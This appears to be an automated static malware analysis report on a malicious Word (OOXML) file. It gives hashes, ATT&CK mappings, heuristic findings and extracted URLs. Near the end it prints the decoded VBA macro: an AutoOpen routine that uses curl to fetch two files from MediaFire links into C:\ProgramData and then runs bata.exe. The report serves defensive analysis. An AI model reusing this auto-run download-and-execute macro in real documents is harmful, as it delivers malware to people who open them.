Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 6f03a114d17fc15f…

MALICIOUS

Office (OOXML)

24.3 KB Created: 2021-06-11 07:06:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2021-06-17
MD5: 643aed310ca4455ab2edb6de1f3ff3e7 SHA-1: 376d4a08b7218b7c5b7076663a32c3f8929facc3 SHA-256: 6f03a114d17fc15f6337d07bcf9a3a1f25f4f7674bf6a70d51de6de5b54b5cb3
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains VBA macros with an AutoOpen subroutine that executes shell commands. These commands use 'curl' to download two files, 'xNet.dll' and 'bata.exe', from MediaFire URLs into the C:\ProgramData directory. After a 10-second delay, the 'bata.exe' executable is launched. This indicates a downloader and executor attack pattern.

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://download1519.mediafire.com/1nn12qdivcbg/jr2r19q80nxyh51/xNet.dll In document text (OOXML body / shared strings)
    • https://download1643.mediafire.com/8sjv2ohos30g/r2gx6urrptwtz34/bata.exeIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 732 bytes
SHA-256: d8f27fbcb70e4380844b29d346d191a538d845f7015f8e0ff441185e449e15c9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Public Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal Milloseconds As LongPtr)

Sub AutoOpen()
Shell ("curl - o C:\ProgramData\xNet.dll https://download1519.mediafire.com/1nn12qdivcbg/jr2r19q80nxyh51/xNet.dll")
Shell ("curl - o C:\ProgramData\bata.exe https://download1643.mediafire.com/8sjv2ohos30g/r2gx6urrptwtz34/bata.exe")
Sleep 10000

Shell ("C:\ProgramData\bata.exe")
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 9216 bytes
SHA-256: 3ce82fa34d3c3f2e08b45c0e5e279279acef407d39bfcf7311dc0da6569a2609

Open this report in the interactive analyzer, or submit your own file for analysis.